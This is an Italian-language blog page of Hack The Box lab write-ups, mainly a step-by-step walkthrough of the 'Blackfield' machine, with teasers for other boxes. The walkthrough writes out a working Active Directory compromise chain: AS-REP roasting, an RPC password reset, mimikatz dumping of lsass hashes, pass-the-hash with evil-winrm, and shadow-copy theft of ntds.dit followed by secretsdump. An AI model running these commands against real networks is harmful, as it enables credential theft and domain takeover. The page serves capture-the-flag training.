Hack The Box

Buff

La scansione nmap mostra 2 servizi esposti: User Flag Sulla porta 8080 gira un sito web che sponsorizza i servizi di una palestra: Dopo un po’ di enumerazione base che non ha portato a nulla ho deciso di googlare il footer dell’applicazione: projectworlds.in exploit Lo script sfrutta la possibilità di uploadare file anche se non […]

Blackfield

Di seguito l’output della scansione nmap:

# Nmap 7.80 scan initiated Wed Aug 26 04:37:46 2020 as: nmap -sV -p53,88,135,389,445,593,3268,5985 -oA full-ports 10.10.10.203
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.14s latency).

PORT     STATE    SERVICE        VERSION
53/tcp   filtered domain
88/tcp   filtered kerberos-sec
135/tcp  filtered msrpc
389/tcp  filtered ldap
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
3268/tcp filtered globalcatLDAP
5985/tcp open     http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 26 04:37:56 2020 -- 1 IP address (1 host up) scanned in 9.44 seconds

Per prima cosa do un’occhiata agli share sulla macchina:

smbclient -L \\\\blackfield.htb

E’ possibile aggere anonimamente alla cartella profiles in cui sembra esserci una lista di utenti:

Salvo la lista e provo a verificare gli utenti con l’ausilio di Kerberos (porta 53):

GetNPUsers.py blackfield.local/ -usersfile userlist3.txt -format hashcat -dc-ip blackfield.htb

In questo modo ho la conferma o meno dell’esistenza di un utente e se sono fortunato ricevo pure un ticket da cui posso estrarre la password (AS-REP Roast), e infatti:

Passo il ticket ad hashcat ed estraggo la password per l’utenza support:

Con questo sistema riesco a rilevare l’esistenza anche di altri account: audit2020 e svc_backup.

Con le nuove credenziali provo a riconnettermi agli share a cui prima non avevo accesso attraverso smb ma non cambia nulla, non trovo niente di che.

Do un’occhiata ad RPC, mi viene in mente che forse un utenza denominata support possa ad esempio cambiare la password degli utenti, così provo ad impostare una password nuova per l’utente audit2020:

net rpc password audit2020 -U support -S 10.10.10.192
Enter new password for audit2020: #00^BlackKnight
Enter WORKGROUP\support's password: #00^BlackKnight

Funziona! Riferimenti: https://malicious.link/post/2017/reset-ad-user-password-with-linux/

Riprovo ad accedere ad smb con le credenziali audit2020:#00^BlackKnight, riesco a visualizzare e scaricare il contenuto della cartella forensics.

Scarico tutto! All’intenrno di memory_analysis trovo il dump del processo lsass.exe, il processo che contiene le credenziali di Windows!

Mi sposto sulla mia macchina windows e con l’ausilio di mimkatz riesco ad estrarre informazioni dal dump di lsass:

mimikatz.exe
sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.DMP' file for minidump...

Authentication Id : 0 ; 406458 (00000000:000633ba)
Session           : Interactive from 2
User Name         : svc_backup
Domain            : BLACKFIELD
Logon Server      : DC01
Logon Time        : 2/23/2020 8:00:03 PM
SID               : S-1-5-21-4194615774-2175524697-3563712290-1413
        msv :
         [00000003] Primary
         * Username : svc_backup
         * Domain   : BLACKFIELD
         * NTLM     : 9658d1d1dcd9250115e2205d9f48400d
         * SHA1     : 463c13a9a31fc3252c68ba0a44f0221626a33e5c
         * DPAPI    : a03cd8e9d30171f3cfe8caad92fef621
        tspkg :
        wdigest :
         * Username : svc_backup
         * Domain   : BLACKFIELD
         * Password : (null)
        kerberos :
         * Username : svc_backup
         * Domain   : BLACKFIELD.LOCAL
         * Password : (null)
        ssp :
        credman :

Bingo! Non c’è la password ma c’è l’hash dell’utente svc_backup, posso utilizzare pass the hash con evil winrm.

evil-winrm -i blackfield.htb -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

Prendo la user flag:

A questo punto controllo i privilegi di svc_backup:

whoami /priv

SeBackupPrivilege consente di accedere a qualsiasi file o cartella se si procede nel contesto di un agente di backup.

Riferimenti: https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf

Utilizzando diskshadow è possibile fare il backup del file ntds.dit (Il database di ActiveDirectory, contiene tutto). E’ necessario farlo perché altrimenti non sarebbe possibile copiare il file dal momento che è utilizzato dal sistema. Diskshadow invece permette di farne il backup e successivamente saremo in grado di copiare la copia di backup con un tool powershell.

Dal momento che diskshadow apre una shell interattiva ed evil-winrm non ci permette di utilizzarla, occorre inserire i comandi in uno script:

SET CONTEXT PERSISTENT NOWRITERSd
add volume c: alias favad
created
expose %fava% z:d

Un carattere finale dopo ogni comando è necessario, un carattere qualsiasi va bene. Non ho idea del perché ma sta cosa mi ha fatto tribolare parecchio.

Prima di eseguire lo script occorre spostarsi in una directory scrivibile da diskshadow, tipo c:\temp.

Invoke-WebRequest "http://10.10.14.xxx/script.txt" -OutFile "C:\users\svc_backup\documents\script.txt"
cd c:\
mkdir temp
cd temp
diskshadow /s c:\users\svc_backup\documents\script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  8/27/2020 7:34:06 AM

-> SET CONTEXT PERSISTENT NOWRITERS
-> add volume c: alias fava
-> create
Alias fava for shadow ID {41bd3e40-4fc7-43e8-8042-7378a68f7192} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07} set as environment variable.

Querying all shadow copies with the shadow copy set ID {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07}

        * Shadow copy ID = {41bd3e40-4fc7-43e8-8042-7378a68f7192}               %fava%
                - Shadow copy set: {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 8/27/2020 7:34:08 AM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %fava% z:
-> %fava% = {41bd3e40-4fc7-43e8-8042-7378a68f7192}
The shadow copy was successfully exposed as z:\.
->

A questo punto si deve copiare il file NTDS.dit con l’ausilio di queste librerie:

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

Una volta caricate sulla box vanno importate in powershell, successivamente è possibile copiare il file:

Import-module .\SeBackupPrivilegeUtils.dll
Import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

Poi esporto il file system:

reg save HKLM\SYSTEM c:\temp\system

Scarico entrambi i file sulla mia macchina:

download system
Info: Downloading C:\temp\system to system                                                        Info: Download successful!

download ndts.dit
Info: Downloading C:\temp\ndts.dit to ndts.dit
Info: Download successful!

Ed estraggo gli hash delle password:

secretsdump.py -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash

Posso finalmente collegarmi come amministratore e prendere la fag di root:

Hack The Box

Omni

Come al solito si comincia con una prima scansione veloce nmap: nmap -T5 –open -sS -vvv –min-rate=1000 –max-retries=2 -p- -oA full-ports 10.10.10.204 E una mirata: nmap -sC -sV -vvv -p135,5985,8080,29817,29819,29820 -oA full-ports 10.10.10.204 L’output di nmap sulla porta 8080 mostra una basic authentication in cui troviamo un bell’hint “Windows Device Portal”. Cercando su Google “Windows […]

Hack The Box

Blackfield

Di seguito l’output della scansione nmap: Per prima cosa do un’occhiata agli share sulla macchina: smbclient -L \\\\blackfield.htb E’ possibile aggere anonimamente alla cartella profiles in cui sembra esserci una lista di utenti: Salvo la lista e provo a verificare gli utenti con l’ausilio di Kerberos (porta 53): GetNPUsers.py blackfield.local/ -usersfile userlist3.txt -format hashcat -dc-ip […]

Hack The Box

Worker

Worker è una macchina segnata con difficoltà media, ma per chi no ha dimestichezza con con Azure DevOps può risultare anche difficile. Personalmente ho preferito il processo per ottenere la flag di user che quella di root perché non c’è nessun indizio che ti sprona a tornare sul framework di Azure, bisogna tirare ad indovinare. […]

Hack The Box

Forwardslash

NMAP Come al solito avvio la scansione delle porte con nmap: Dalla scansione risultano aperte esclusivamente le porte 80 e 22. Faccio un giro sulla porta 80, ah, il sito è raggiungibile dopo aver aggiunto forwardslash.htb in /etc/hosts 10.10.10.183 forwardslash.htb A quanto pare il sito ha subito un attacco: Decido di enumerare un po’ i […]

Hack The Box

Cascade

Come al solito inizio con una scansione Nmap: USER FLAG Non c’è nessuna applicazione web che gira sulla macchina, mi fa pensare che la via d’accesso sia LDAP. Una scansione più approfondita dei servizi rivela il nome del dominio CASCADE.local. ldapsearch -h 10.10.10.182 -p 389 -x -b “dc=cascade,dc=local Leggendo attentamente l’output della query LDAP è […]